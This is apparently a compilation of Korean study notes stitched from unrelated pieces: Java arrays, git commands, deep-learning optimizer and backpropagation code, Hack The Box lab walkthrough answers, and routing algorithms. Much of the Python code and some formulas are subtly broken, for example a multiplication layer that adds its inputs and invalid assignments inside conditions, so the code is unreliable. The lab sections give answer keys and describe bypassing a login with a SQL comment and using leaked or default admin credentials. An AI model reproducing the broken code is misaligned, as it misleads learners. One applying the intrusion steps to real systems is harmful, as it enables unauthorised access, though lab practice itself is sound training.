2. 기본형과 참조형은 서로 형변환할 수 없다.
3. 서로 다른 타입의 변수간의 연산은 형변환을 하는 것이 원칙이지만, 값의 범위가 작은 타입에서 큰 타입으로의 형변환은 생략할 수 있다.

3. 연산자(Operator)

C와 연산자의 활용이 거의 비슷하다.물론 찾아보면 사소한 부분에서 다른게 잔뜩 있는거 같다. GPT에게 물어본 대표적인 차이점은 다음과 같다.

4. 제어문

4.1 조건문

여기를 참고하자.

4.2 반복문

for, while, do-while문이 있다. 기본적인 개념은 여기를 참고하자.

향상된 for문

int[] arr = {10, 20, 30, 40, 50};

for(int tmp : arr){
    System.out.println(tmp); // 10 20 30 40 50
}

이름 붙은 반복문

Loop1 : for(int i=2;i <=9;i++){
    for(int j=1;j <=9;j++){
        if(j==5)
            break Loop1;
        ...
    }
    ...
}

5. 배열(Array)

5.1 배열의 선언과 생성

타입[] 변수이름; // 배열을 다루기 위한 참조변수 선언 '[]`는 변수이름 뒤에 붙여도 된다.
변수이름 = new 타입[길이];
타입[] 변수이름 = new 타입[길이] // 선언과 생성을 동시에

5.2 배열의 길이

배열의 길이는 변수이름.length다. 이는 상수이므로 변경이 불가능하다. 배열의 길이를 변경하는 방법은 더 큰 배열을 새로 생성하고, 기존 배열의 내용을 새로운 배열에 복사하는 것이다.

5.3 배열의 초기화

int[] score = new int[]{50, 60, 70, 80, 90}; // 잘 보면 길이정보를 생략하고 선언, 생성, 초기화까지 할 수 있다.

int add(int[] arr){ /*내용 생략*/}

int result = add(new int[]{50, 60, 70, 80, 90}); //new int[]는 생략할 수 없다.

5.4 배열의 출력

• Arrays.toStrint(배열이름)은 배열의 모든 요소를 [요소, 요소, 요소, ..., 요소] 형태의 문자열로 변환해주는 메서드다.
• 배열이름을 매개변수로 출력 메서드에 전달하면, 타입@주소 형식으로 출력된다. 참고로 char 배열의 경우에는 각 요소가 구분자 없이 그대로 출력된댜.

5.5 배열의 복사

• (1)임시 배열 tmp를 선언한다. (2) for문을 이용해 요소 하나하나를 tmp 배열에 복사한다. (3) 기존배열=tmp를 통해 기존 배열이 새롭게 생성된 배열의 주소를 참조하도록 한다.
• System.arraycopy()를 이용하여 배열을 복사한다. 이게 위의 방법보다 더 효율적이다. (System.arraycopy(num, 0, newNum, 0, num.length); = num[0]부터 num[num.length]까지 newNum[0]에 붙여넣기 시작함.)

5.6 String 배열

스트링 배열의 선언과 생성, 초기화는 기본형 배열과 다르지 않다. 하지만 String 클래스만이 new 연산자를 생략해서 간단히 표현하는게 가능하다.

String[] name = new String[]{"Kim", "Park", "Yi"};
String[] name = {"Kim", "Park", "Yi"};

이때, name 배열에는 "Kim"이 아니라 "Kim"이 저장된 메모리 주소를 담고 있다. 즉 name은 "Kim", "Park" 등이 위치한 메모리 주소를 담고있는 메모리의(?) 주소를 담고 있는 것이다.(이중으로 참조하는 것임) 이를 객체 배열 이라 한다.

5.7 char배열과 String클래스

• 사실 String클래스는 char배열에 기능(메서드)를 추가한 것이다.
• char배열과 String클래스의 중요한 차이점은, String객체는 읽을 수 있을 뿐 내용의 변경이 불가능하다.변경 가능한 문자열은 StringBuffer클래스를 사용하면 된다.

char배열과 String클래스간의 변환 예시는 다음과 같다.

char[] chArr = {'A', 'B', 'C', 'D'};
String str = new String(chArr);
char[] tmp = str.toCharArray(str)

1. Set Up / Init

git config --global user.email "[valid-email]": 이메일 기준으로 유저 정보 설정 git init : 현재 디렉토리를 repository로 초기화 git clone [url]: repository 전체를 URL을 통해 획득

2. Stage & Snapshot

git status 작업중인 디렉토리에서 수정된 파일, 커밋을 기다리는 스태이징 된 파일을 볼 수 있음. git add [file]: 해당 파일 스테이징 git reset [file]: 해당 파일의 스테이징을 취소함, 단 작업중인 디렉토리에서의 변경사항은 유지함. git diff --staged: 스테이징된 파일의 차이점 확인 git commit -m "[descriptive message]": 메시지와 함께 커밋

3. Branch & Merge

git branch: 브랜치 리스트 나열 git branch [branch-name]: 현재 커밋에서 새로운 브랜치 생성 git checkout: 체크아웃 수행 git merge[branch]: 특정 브랜치를 현재 브랜치에 합친다. git log: 현재 브랜치에서의 모든 커밋 내역 확인

-r: 원격 저장소 브랜치 리스트 -a: 원격/지역 저장소 브랜치 리스트 git checkout -t <remote_branch>: 원격 브랜치 로컬에 적용

4. Remote

git remote add <name> <remote_repository_address>: 원격 저장소 연결(사전에 지역 저장소를 생성해야한다.)

git -u <remote_repository> <branch>: 지역 저장소의 브랜치를 원격 저장소의 특정 브랜치로 푸쉬. 로그인을 할 때, 비밀번호는 원격저장소 생성시 발급받은 토큰을 사용해야한다. 이 비번은 반드시 잘 보관해야한다. 다시 발급하기 귀찮 이후에는 git push 만으로도 푸쉬를 수행할 수 있다.

git pull <remote_repository> <branch>: 원격저장소의 변경 사항을 지역저장소로 가져오기. 역시나 한번 저장소끼리 연결되면 git pull 만으로도 수행 가능하다.

git remote ubdate: 원격 브랜치 정보 갱신

1.1 확률적 경사 하강법(SGD)

1.1.1 파이썬 클래스 구현

확률적 경사 하강법을 파이썬 클래스로 구현하면 다음과 같다.

class SGD:
    def __init__(self, lr=0.01)
        self.lr = lr

    def ubdate(self, params, grads):
        for key in params.keys():
            params[key] -= self.lr * grads[key]

1.1.2 SGD의 단점

하지만 문제에 따라서 SGD가 비효율적일 수 있다. 예를 들어 다음과 같은 함수 $$ f(x,y) = \frac{1}{20}x^2+y^2 $$ 의 경우 3차원 공간에서 bowl을 x축 방향으로 길게 늘린 모양이다. 이런 함수, 즉 비등방성(anisotropy) 함수에서는 탐색 경로가 비효율적이게 된다. 왜냐하면 임의 지점의 기울기가 최솟값의 위치를 가리키지 않기 때문이다.(이 경우 최적화 갱신경로는 지그재그로 움직이게 된다.)

1.2 모멘텀

모멘텀(momentum) 기법은 위의 SGD의 단점을 보완해준다. 모멘텀 기법은 수식으로 다음과 같이 나타낼 수 있다. $$ v\leftarrow\alpha v - \eta\frac{\partial L}{\partial W}\ $$ $$ W \leftarrow W + v $$

파이썬으로는 다음과 같이 구현할 수 있다.

class Momentum:
    def __init__(self, lr=0.01, momentum=0.9):
        self.lr = lr
        slef.momentum = momentum
        self.v = None

    def ubdate(self, params, grads):
        if self.v is None:
            self.v = {}
            for key, val in parrams.items():
                self.v[key] = np.zeros_like(val)

            for key in params.keys():
                self.v[key] = self.momentum*self.v[key] + self.lr*grads[key]
                params[key] += self.v[key]

이미지로 최적화 갱신 경로를 나타내면 다음과 같다.

1.3 AdaGrad

적절한 학습률의 결정은 매우 중요하다. 너무 작으면 학습시간이 길어지고, 너무 커지면 자칫 발산할 수 있기 때문이다. 따라서 학습률 감소(learning rate decay) 이란 기술을 사용하기도 한다. AdaGrad는 '각각의' 매개변수에 '맞춤형' 값을 만들어 준다. $$ h\leftarrow h - \frac{\partial L}{\partial W}\odot\frac{\partial L}{\partial W}\ $$ $$ W\leftarrow W - \eta\frac{1}{\sqrt h}\frac{\partial L}{\partial W} $$

$h$에 기존 기울기 값을 제곱하여 계속 더해준다. 그리고 매개변수를 갱신할 떄 학습률을 조정한다. 이 식에 따르면 매개변수의 원소 중에서 많이 움직인 원소는 학습률이 낮아진다.

파이썬 클래스로는 다음과 같이 구현할 수 있다.

class AdaGrad:
    def __init__(self, lr=0.01):
        self.lr = lr
        self.h = None

    def update(self, params, grads):
        if self.h = None:
            self.h = {}

            for key, val in params.items():
                self.h[key] = np.zeros_like(val)

        for key in params.keys():
            self.h[key] += grads[key]*grads[key]
            params[key] -= self.lr * grads[key] / (np.sqrt(self.h[key]) + 1e-7)

최적화 갱신경로는 다음과 같다.

1.4 Adam

Adam은 AdaGrad와 모멘텀, 두 기법을 융합한 방법이라고 생각하면 이해하기 쉽다. 파이썬을 통한 예시 코드는 다음과 같다.

class Adam:

    """Adam (http://arxiv.org/abs/1412.6980v8)"""

    def __init__(self, lr=0.001, beta1=0.9, beta2=0.999):
        self.lr = lr
        self.beta1 = beta1
        self.beta2 = beta2
        self.iter = 0
        self.m = None
        self.v = None

    def update(self, params, grads):
        if self.m is None:
            self.m, self.v = {}, {}
            for key, val in params.items():
                self.m[key] = np.zeros_like(val)
                self.v[key] = np.zeros_like(val)

        self.iter += 1
        lr_t  = self.lr * np.sqrt(1.0 - self.beta2**self.iter) / (1.0 - self.beta1**self.iter)         

        for key in params.keys():
            #self.m[key] = self.beta1*self.m[key] + (1-self.beta1)*grads[key]
            #self.v[key] = self.beta2*self.v[key] + (1-self.beta2)*(grads[key]**2)
            self.m[key] += (1 - self.beta1) * (grads[key] - self.m[key])
            self.v[key] += (1 - self.beta2) * (grads[key]**2 - self.v[key])

            params[key] -= lr_t * self.m[key] / (np.sqrt(self.v[key]) + 1e-7)

            #unbias_m += (1 - self.beta1) * (grads[key] - self.m[key]) # correct bias
            #unbisa_b += (1 - self.beta2) * (grads[key]*grads[key] - self.v[key]) # correct bias
            #params[key] += self.lr * unbias_m / (np.sqrt(unbisa_b) + 1e-7)

최적화 갱신경로는 다음과 같이 나타난다.

2. 가중치 초깃값

2.1 초깃값 0

초깃값을 모두 0으로 설정하는 경우 오차 역전파법에서 모든 가중치의 값이 똑같이 갱신되기 때문이다. 즉 순전파의 결과가 모두 같아지기 떄문에 역전파에 의한 가중치 갱신도 똑같이 이뤄진다는 뜻이다. 이를 막기위해 초깃값은 무작위로 설정되어야 한다.(ex. np.random.randn(10,100))

2.2 은닉층의 활성화값 분포

2.2.1 Xavier 초깃값

시그모이드 함수가 사용될 때, 표준편차가 너무 크면 기울기 소실이, 너무 작으면 활성화 값이 치우쳐져 표현력이 제한된다. 이에 사비에르 그로로트와 요슈아 벤지오는 앞 계층의 노드가 $n$개인 경우, 표준편차가 $\frac{1}{\sqrt n}$인 분포를 사용하면 된다는 결론을 이끌어 냈다. 이를 Xavier 초깃값이라고 한다.

2.2.2 He 초깃값

ReLU는 시그모이드 함수와 달리 좌우 대칭의 함수가 아니다. 따라서 이에 특화된 초깃값을 사용해야하는데 바로 He 초깃값 이다. He 초깃값은 앞 계층의 노드가 $n$개인 경우, 표준편차가 $\sqrt\frac{2}{n}$인 정규분포를 사용한다. Xavier 초깃값보다 표준편차가 두 배인데, 음의 영역이 0이므로 더 넓은 분포를 위해 두 배의 계수를 사용한다고 이해하면 편하다.

3. 배치 정규화

3.1 배치 정규화 알고리즘

배치 정규화는 2015년에 제안된 방법으로 다음과 같은 이점을 가진다.

• 학습 속도 개선
• 초깃값 의존성 감소
• 오버피팅 억제

배치 정규화는 그 이름과 같이 학습 시 미니배치를 단위로 정규화한다. 구체적으로는 데이터 분포가 평균이 0, 분산이 1이 되도록 정규화 한다. 수식으로는 다음과 같이 표현할 수 있다. $$ \mu \leftarrow \frac{1}{m}\sum\limits_{i=1}^m x_i $$ $$ \sigma^2_B \leftarrow \frac{1}{m}\sum\limits_{i=1}^m (x_i-\mu_B)^2 $$ $$ \hat{x}_i \leftarrow \frac{(x_i-\mu_B)^2}{\sqrt {o^2_B+\epsilon}} $$

배치 정규화 처리를 활성화 앞 혹은 뒤에 삽입 함으로써 데이터 분포가 덜 치우치게 할 수 있다. 또, 배치 정규화 계층마다 이 정규화된 데이터에 고유한 확대와 이동 변환을 수행한다. 수식으로는 다음과 같이 표현할 수 있다. $$ y_i \leftarrow \gamma\hat{x}_i+\beta $$

4. 가중치 감소, 드롭아웃

4.1 오버피팅

훈련 데이터에 치우쳐 적응하는 경우, 훈련 데이터의 정확성과 시험 데이터의 정확성 간의 괴리가 커진다. 이는 곧 범용성이 낮아짐을 의미한다. 따라서 반드시 이를 해결해야만 한다.

4.2 가중치 감소

오래전부터 가중치 감소(weight decay) 는 오버피팅을 억제하기 위해 많이 사용되었다. 왜냐하면 오버피팅은 가중치 매개변수의 값이 커서 발생하는 경우가 많기 때문이다. 가중치 감소는 모든 가중치 각각의 손실 함수에 $\frac{1}{2} \lambda W^2$을 더하는 방식으로 이뤄지며 가중치의 기울기를 구하는 계산에서는 정규화 항을 미분한 $\lambda W$를 더한다.

4.3 드롭아웃

신경망 모델이 복잡해지면 가중치 감소만으로는 대응하기 어려워진다. 이럴 때는 드롭아웃(Dropout) 이라는 기법을 이용한다. 드롭아웃은 뉴런을 임의로 삭제하면서 학습하는 방법으로 훈련을 할 때, 은닉층의 뉴런을 무작위로 골라 삭제한다. 파이썬으로는 다음과 같이 구현할 수 있다.

class Dropout: 
    def __init__(self, dropout_ratio=0.5):
        self.dropout_ratio = dropout_ratio
        sel.mask = None

    def forward(self, x, train_flg=True):
        if train_flg:
            self.mask = np.random.rand(*x.shape) > self.dropout_ratio
            return x * self.mask
        else:
            return x * (1.0 - self.dropout_ratio)

    def backward(self, dout):
        return dout * self.mask

5. 하이퍼파라미터 탐색

5.1 검증 데이터

하이퍼파라미터 또한 평가의 대상이 될 수 있다. 여기서 주의할 점은 하이퍼파라미터의 성능을 평가할 때, 시험 데이터를 사용해서는 안된다는 것이다. 왜냐하면 시험 데이터를 사용해서 하이퍼파라미터를 조정하면 하이퍼파라미터 값이 시험 데이터에 오버피팅되기 때문이다. 따라서 하이퍼파라미터 전용 확인 데이터가 필요하다. 이 조정용 데이터를 일반적으로 검증 데이터라고 부른다. 검증 데이터가 미리 분리되어 있는 경우도 있지만, 없는 경우에 가장 간단한 방법은 훈련 데이터 중 20% 정도를 검증 데이터로 먼저 분리하는 것이다.

5.2 하이퍼파라미터 최적화

하이퍼파라미터 최적화의 핵심은 최적 값이 존재하는 범위를 조금씩 줄여나가는 것이다. 일반적으로 범위는 '로그 스케일'로 지정한다. 그리고 검증 데이터로 정확도를 반복적으로 평가한 뒤, 결과를 보고 하이퍼파라미터의 범위를 좁힌다. 그리고 이 과정을 반복적으로 수행하고 최종 하이퍼파라미터 값을 하나 선택한다.

수치 미분을 통한 기울기 산출은 단순하지만, 계산 시간이 오래 걸린다. 하지만 오차역전파법(backpropagation) 을 통해 기울기를 효율적으로 계산할 수 있다.

1. 연쇄법칙

오차역전파법을 이해하기 위해서는 연쇄법칙을 이해해야한다. 먼저 합성함수의 미분에 대한 중요한 성질 하나를 짚고 넘어가도록 하자.

합성함수의 미분은 합성 함수를 구성하는 각 함수의 미분의 곱으로 나타낼 수 있다.

[예시1] $$ z = t^2\ t = x+y $$

$$ \frac{\partial z}{\partial x} = \frac{\partial z}{\partial t}\frac{\partial t}{\partial x} $$

2. 오차역전파

2.1 덧셈 노드의 역전파

$t = x+y$ 를 대상으로 그 역전파를 살펴보도록 하자. 해당 식의 미분은 $\frac{\partial t}{\partial x} =1$과$\frac{\partial t}{\partial y}=1$ 과 같이 해석적으로 계산될 수 있다. 이는 상류에서 전해진 미분에 1을 곱하여 그대로 하류로 내보낸다는 뜻이다.

2.2 곱셈 노드의 역전파

$z=xy$의 미분은 다음과 같다. $$ \frac{\partial z}{\partial x} = y $$ $$ \frac{\partial z}{\partial y} = x $$ 즉 곱셈 노드의 역전파는 상류의 값에 순전파 입력 신호를 서로 바꾼 값을 곱해서 하류로 보낸다.

3. 구현

3.1 곱셈 계층

class MulLayer:
    def __init__(self):
        self.x = None
        self.y = None

    def forward(self, x, y):
        self.x = x
        self.y = y
        out = x + y

        return out

    def backward(self, dout):
        dx = dout * self.y
        dy = dout * self.x

        return dx, dy

3.2 덧셈 계층

 class AddLayer:
     def __init__(self):
        pass # 덧셈 계층에서는 초기화가 필요 없음

    def forward(self, x, y):
        out = x + y
        return out

    def backward(self, dout):
        dx = dout * 1
        dy = dout * 1
        return dx, dy

4. 활성화 함수 계층 구현

4.1 ReLU 계층

ReLU는 수식으로 다음과 같이 살펴볼 수 있다. $$ y = \begin{cases} x,(x>0)\ 0,(x\leq 0) \end{cases} $$

$$ \frac{\partial y}{\partial x} = \begin{cases} 1,(x>0)\ 0,(x\leq 0) \end{cases} $$

파이썬으로 구현한 예시는 다음과 같다.

 class ReLU:
     def __init__(self):
        self.mask = None

    def forward(self, x):
        self.mask = (x<0)
        out = x.copy()
        out[self.mask] = 0

        return out

    def backward(self, dout):
        dout[self.mask] = 0
        dx = dout

        return dx

4.2 sigmoid 계층

sigmoid 수식은 다음과 같다. $$ y = \frac{1}{1+exp(-x)} $$

이를 미분해보도록 하자

$$ y = \frac{1}{t}\ \frac{\partial y}{\partial t} = -\frac{1}{t^2} = -y^2 $$ $1+exp(x)$는 덧셈이므로 바로$exp(x)$를 미분해보자 $$ t =exp(x)\ \frac{\partial t}{\partial x} = exp(x) $$ 그리고 $x$에 -1을 곱하므로 역전파를 전할 때 -1을 곱하면 된다.

상류에서 온 값을 $\frac{\partial L}{\partial y}$라 할 때 sigmoid 계층의 역전파는 다음과 같이 정리가 가능하다. $$ \frac{\partial L}{\partial y} (-y^2)*exp(-x)(-1) =\frac{\partial L}{\partial y}y^2exp(-x) = \frac{\partial L}{\partial y}\frac{1}{(1+exp(-x))^2}exp(-x) $$ $$ =\frac{\partial L}{\partial y}\frac{1}{(1+exp(-x))}\frac{exp(-x)}{1+exp(-x)} = \frac{\partial L}{\partial y}y(1-y) $$

파이썬으로는 다음과 같이 구현 가능하다.

 class sigmoid:
     def __init__(self):
        self.out = None

    def forward(self, x):
        out =  1 / (1 + np.exp(-x))
        self.out = out

        return out

    def backward(self, dout):
        dx = dout * (1 - self.out) * self.out

        return dx

5. Affine/Softmax 계층 구현

5.1 Affine 계층

$Y = XW$ 라 할 때, 역전파 수식은 다음과 같이 나타낼 수 있다. $$ \frac{\partial L}{\partial X} = \frac{\partial L}{\partial Y}W^T $$ $$ \frac{\partial L}{\partial W} = X^T\frac{\partial L}{\partial Y} $$ $\frac{\partial L}{\partial W}$와 $W$, 그리고 $\frac{\partial L}{\partial X}$와 $X$의 형상은 서로 같음에 주의해야 한다.

편향 덧셈은 $XW$에 대한 편향이 각 데이터에 더해진다. 그러므로 각 데이터의 역전파 값은 편향의 원소에 모여야한다.

파이썬 구현은 다음과 같다.

 class Affine:
     def __init__(self, W, b):
        self.W = W
        self.b = b
        self.x = None
        self.dW = None
        self.db = None

    def forward(self, x):
        self.x = x
        out = np.dot(x, self.W) + self.b

        return out

    def backward(self, dout):
        dx = np.dot(dout, self.W.T)
        self.dW = np.dot(self.x.T, dout)
        self.db = np.sum(dout, axis=0)

        return dx

5.2 Softmax-with-Loss 계층

여기에서는 소프트맥스 계층 구현시, 손실 함수인 교차 엔트로피 오차도 포함하여 구현한다. 역전파를 구하는 과정은 매우 복잡하여 여기서는 생략하고, 추후에 다뤄보도록 하겠다. $(y_1,y_2,y_3,...,y_n)$에 대한 역전파는 $(y_1-t_1, y_2-t_2, y_3-t_3, ..., y_n-t_n)$으로 비교적 깔끔하게 결과가 나온다. 이렇게 깔끔한 결과가 나오는 것은 설계부터가 이를 목적으로 했기 때문이다. 항등 함수의 손실 함수로 오차제곱합을 이용하는 이유도 이와 같다. 이 때에도 역전파의 결과가 같다.

Softmax-with-Loss 계층을 구현한 코드는 다음과 같다.

 class SoftmaxWithLoss:
     def __init__(self):
        self.loss = None
        self.y = None
        self.t = None

    def forward(self, x, t):
        self.t = t
        self.y = softmax(x)
        self.loss = cross_entropy_error(self.y, t)
        return self.loss

    def backward(self, dout = 1)
        batch_size = self.t.shape[0]
        dx = (self.y - self.t)/batch_size

6. 오차역전파법 구현

상세한 구현 코드는 여기를 참고할 것. 핵심은 TwoLayerNet 클래스 정의시, layers 인스턴스를 OrderedDict, 순서가 있는 딕셔너리로 구현한다는 것이다. 그리고 역전파를 구할 때, 이 인스턴스를 reverse()하여 backward(dout) 메서드를 반복적으로 수행한다. 이렇게 구한 기울기는 반드시 수치 미분으로 구현한 기울기와 일치하는지 검증해야한다.

Task1 Q: What Nmap scanning switch employs the use of default scripts during a scan? A: -sC

Task2 Q: What service version is found to be running on port 21? A: vsftpd 3.0.3

Task3 Q: What FTP code is returned to us for the "Anonymous FTP login allowed" message? A: 230

Task4 Q: After connecting to the FTP server using the ftp client, what username do we provide when prompted to log in anonymously? A: Anonymous

Task5 Q: After connecting to the FTP server anonymously, what command can we use to download the files we find on the FTP server? A: get

Task6 Q: What version of Apache HTTP Server is running on the target host? A: Apache httpd 2.4.41

Task7 Q: What switch can we use with Gobuster to specify we are looking for specific filetypes? A: -x

Task8 Q: Which PHP file can we identify with directory brute force that will provide the opportunity to authenticate to the web service? A: login.php

Okay, I accessed to {Target IP}/login.php, and found login page.

Nmap Scanning result showed me a ftp server's file list. Also, I can log in Anonymous account.

I got allowed.userlist and allowed.userlist.passwd

4th's username and password look very suspicious.. I used admin account and got a flag.

Task1 Q: What does the acronym SQL stand for? A: Structured Query Language

Task2 Q: What is one of the most common type of SQL vulnerabilities? A: SQL Injection

Task3 Q: What is one of the most common type of SQL vulnerabilities? A: A03:2021-Injection

Task4 Q: What does Nmap report as the service and version that are running on port 80 of the target? A:Apache httpd 2.4.38 ((Debian))

Task5 Q: What is the standard port used for the HTTPS protocol? A: 443

Task6 Q: What is a folder called in web-application terminology? A: directory

Task7 Q: What is the HTTP response code is given for 'Not Found' errors? A: 404

Task8 Q: Gobuster is one tool used to brute force directories on a webserver. What switch do we use with Gobuster to specify we're looking to discover directories, and not subdomains? A: dir

Task9 Q: What single character can be used to comment out the rest of a line in MySQL? A:#

Task10 Q: If user input is not handled carefully, it could be interpreted as a comment. Use a comment to login as admin without knowing the password. What is the first word on the webpage returned? A: Congratulations

학습 이란 훈련 데이터로부터 가중치 매개변수의 최적값을 자동으로 획득하는 것을 뜻한다.

1. 데이터 학습

1.1 데이터 주도 학습

이미지 인식과 관련하여, 이미지의 특징을 추출하고 그 특징의 기계학습 기술로 학습하는 방법이 있다. 여기서 특징은 이미지에서 본질적인 데이터를 정확하게 추출할 수 있도록 설계된 변환기를 가리킨다. 일반적으로 이미지의 특징은 벡터로 기술되며, SIFT, SURF, HOG등의 특징을 많이 사용한다. 이렇게 변환된 벡터를 가지고 SVM, KNN 등으로 학습할 수 있다. 반면 신경망(딥러닝)은 이미지를 '있는 그대로' 학습한다. 여기서는 사람의 개입이 전혀 없다.

1.2 훈련 데이터와 시험 데이터

우리가 원하는 모델은 범용적으로 사용할 수 있는 모델이므로, 범용 능력을 제대로 평가하기 위해 훈련 데이터와 시험 데이터를 분리해야한다. 범용 능력 이란 아직 훈련하지 않은 데이터로도 문제를 올바르게 해결하는 능력이다. 즉 처음 보는 수학문제를 풀 수 있는 것이다. 이것이 다양한 데이터셋을 필요로 하는 이유가되는데, 특정 데이터셋에만 지나치게 최적화 된 상태를 오버피팅(overfitting) 이라고 한다.

2. 손실 함수

신경망은 최적의 매개변수 값을 탐색하기 위해 손실 함수(loss fuction) 을 사용한다. 일반적으로 오차제곱합과 교차 엔트로피 오차를 손실 함수로 사용한다.

2.1 오차제곱합

오차제곱합(sum of squares for error, SSE) 은 가장 많이 쓰이는 손실 함수다. $$ E = \frac{1}{2}\sum\limits_{k}(y_k-t_k)^2 $$

오차 제곱을 구하는 파이썬으로 다음과 같이 구현할 수 있다.

def sum_squares_error(y, t):
    return 0.5 * np.sum((y-t)**2)

따라서 소프트 맥스 함수의 출력과 정답 레이블을 오차제곱합 손실함수에 전달했을때, 가장 높은 확률을 가진 클래스가 정답인 경우에 손실함수는 가장 작은 값을 반환하게 된다.

2.2 교차 엔트로피 오차

또다른 손실함수로 교차 엔트로피 오차(cross entropy error) 가 있다. $$ E = -\sum\limits_{k}t_klogy_k $$

$t_k$가 정답 외에는 0의 값을 가지고 자연로그 함수의 형태를 고려 했을 때, 소프트 맥스 함수 출력 값이 가장 높은 클래스가 정답일 경우 오차($E$)는 점점 작아진다. 교차 엔트로피 오차를 파이썬으로 다음과 같이 구현할 수 있다.

def cross_entropy_error(y,t):
    return -np.sum(t * np.log(y + delta)) # delta는 log 0이 마이너스 무한대로 수렴하는 것을 방지해준다. 

2.3 미니배치 학습

N개의 데이터에 대한 교차 엔트로피 오차는 다음과 같다. $$ E = -\frac{1}{N}\sum\limits_{n}\sum\limits_{k}t_klogy_k $$

여기서는 $N$으로 나누어 정규화를 수행하고, 평균 손실 함수를 구한다. 많은 데이터를 대상으로 손실함수를 일일이 계산하는 것은 현실적인 한계에 부딪히게 된다. 따라서 데이터 일부를 전체의 '근사치'로 이용한다. 그 일부가 바로 미니배치 다.

2.4 손실 함수를 설정하는 이유

정확도를 지표로 삼는 경우 매개변수의 미분이 대부분의 자소에서 0이 되기 때문에, 손실함수를 설정하는 것이다.

3. 수치 미분

3.1 미분

수치 미분을 구현하고자 하는 경우 매우 작은 수에서 반올림 오차가 발생하는 한계에 부딪힌다. 따라서 중심 차분 혹은 중앙 차분의 개념을 활용하여 수치 미분을 구현한다.

def numerical_diff(f, x):
    h = 1e-4
    return(f(x+h) - f(x-h))/(2*h)

3.2 편미분

편미분은 다음과 같이 나타낸다. $$ \frac{\partial f}{\partial x_0}, \frac{\partial f}{\partial x_1}, ... $$

4. 기울기

$(\frac{\partial f}{\partial x_0}, \frac{\partial f}{\partial x_1})$ 처럼 모든 변수의 편미분을 벡터로 정리한 것을 기울기(gradient) 라고 한다.

def numerical_gradient(f,x):
    h = 1e-4
    grad = np.zeros_like(x)

    for idx in range(x.size):
        tmp_val = x[idx]

        x[idx] = tmp_val + h
        fxh1 = f(x)

        x[idx] = tmp_cal - h
        fxh2 = f(x)

        grad[idx] = (fxh1 = fxh2) / (2*h)
        x[idx] = tmp_val

    return grad

4.1 경사법

경사법은 수식으로 다음과 같이 나타난다. $$ x_0 = x_0 -
η\frac{\partial f}{\partial x_0}\ x_1 = x_1 -
η\frac{\partial f}{\partial x_1} $$

여기서 η은 학습률을 의미한다.

def gradient_descent(f, init_x, lr=0.01, step_num=100):
    x = init_x

    for i in range(step_num)
        grad = numerical_gradient(f, x)
        x -= lr * grad
    return x

신경망에서 이를 구현하면 가중치 W를 조금씩 조정할 수 있다. 행렬 $W$, 손실함수 $L$인 신경망을 가정했을때, 경사는 $\frac{\partial L}{\partial W}$로 나타난다. $W$의 각 원소에 대해 편미분을 수행하므로 당연히 $\frac{\partial L}{\partial W}$의 형상은 $W$의 형상과 동일하다.

5. 학습 알고리즘 구현

신경망에는 적응 가능한 가중치와 편향이 있고, 이 가중치와 편향을 훈련 데이터에 적응하도록 조정하는 과정을 '학습'이라고 한다. 신경망 학습은 다음과 같이 4 단계로 수행한다.

1단계: 미니배치 2단계: 기울기 산출 3단계: 매개변수 갱신 4단계: 반복

에폭(epoch) 은 하나의 단위다. 1에폭은 학습에서 훈련 데이터를 모두 소진했을 떄의 횟수에 해당한다. 예를 들어 훈련 데이터 60,000개를 100개의 미니 배치로 학습할 경우, 확률적 경사 하강법을 600회 반복하면 모든 훈련 데이터를 '소진'한 게 된다. 이 경우 600회가 1에폭이 된다.

Task1 Q: How many TCP ports are open on the machine? A: 2

Task2 Q: Which service is running on port 27017 of the remote host? A: MongoDB 3.6.8

Task3 Q:What type of database is MongoDB? (Choose: SQL or NoSQL) A: NoSQL

Task4 Q: What is the command name for the Mongo shell that is installed with the mongodb-clients package? A: mongosh

Task5 Q: What is the command used for listing all the databases present on the MongoDB server? (No need to include a trailing ;) A:

Task6 Q: What is the command used for listing out the collections in a database? (No need to include a trailing ;) A: show collecitons

Task7 Q: What is the command used for dumping the content of all the documents within the collection named flag in a format that is easy to read? A: db.flag.find().pretty()

2. MongoDB

Document

Task1 Q: Directory Brute-forcing is a technique used to check a lot of paths on a web server to find hidden pages. Which is another name for this? (i) Local File Inclusion, (ii) dir busting, (iii) hash cracking. A: dir busting

Task2 Q: What switch do we use for nmap's scan to specify that we want to perform version detection A: -sV

Task3 Q: What does Nmap report is the service identified as running on port 80/tcp? A:http

Task4 Q: What server name and version of service is running on port 80/tcp? A: nginx 1.14.2

Task5 Q: What switch do we use to specify to Gobuster we want to perform dir busting specifically? A: dir

Task6 Q: When using gobuster to dir bust, what switch do we add to make sure it finds PHP pages? A:-x php

Basic Guide dirbuster list data

Task7 Q: What page is found during our dir busting activities? A: admin.php

Task8 Q: What is the HTTP status code reported by Gobuster for the discovered page? A: 200

https://github.com/alibaba/nginx-admin-plus/blob/master/docs/nginx-admin-plus-manual.md

ngnix's default id/password is admin/admin

라우팅 알고리즘을 분류하는 첫 번째 방식은 다음과 같다.

• 중앙 집중형 라우팅 알고리즘(centralized routing algotrithm)
• 분산 라우팅 알고리즘(decentralized routing algorithm)

라우팅 알고리즘을 분류하는 두 번째 방식은 다음과 같다.

• 정적 라우팅 알고리즘(static routing algorithm)
• 종적 라우팅 알고리즘(dynamic routing algorithm)

세 번째 방식은 부하에 민감한지 아닌지에 따른다.

1.1 링크 상태(LS) 라우팅 알고리즘

링크 상태 알고리즘에서는 네트워크 토폴로지와 모든 링크 비용이 알려져 있어서 링크 상태 알고리즘의 입력값으로 사용될 수 있다. 대표적인 알고리즘이 바로 다익스트라 알고리즘(Dijkstra's algorithm) 이다. 다익스트라 알고리즘은 k번째 반복 이후에 k개의 목적지 노드에 대해 최소 비용 경로가 알려지며 이 k개의 경로는 모든 목적지 노드로의 최소 비용 경로 중에서 가장 낮은 비용을 갖는 k개의 경로다.

1.2 거리 벡터(DV) 라우팅 알고리즘

거리 벡터 알고리즘은 반복적이고 비동기적이며 분산적이다. 거리 벡터 알고리즘을 통한 최소 비용 경로의 비용은 벨만-포드(Bellman-Ford) 식에 의해 다음처럼 나타낼 수 있다.

$$ d_x(y) = {min_v(c, v) + d_v(y)} $$

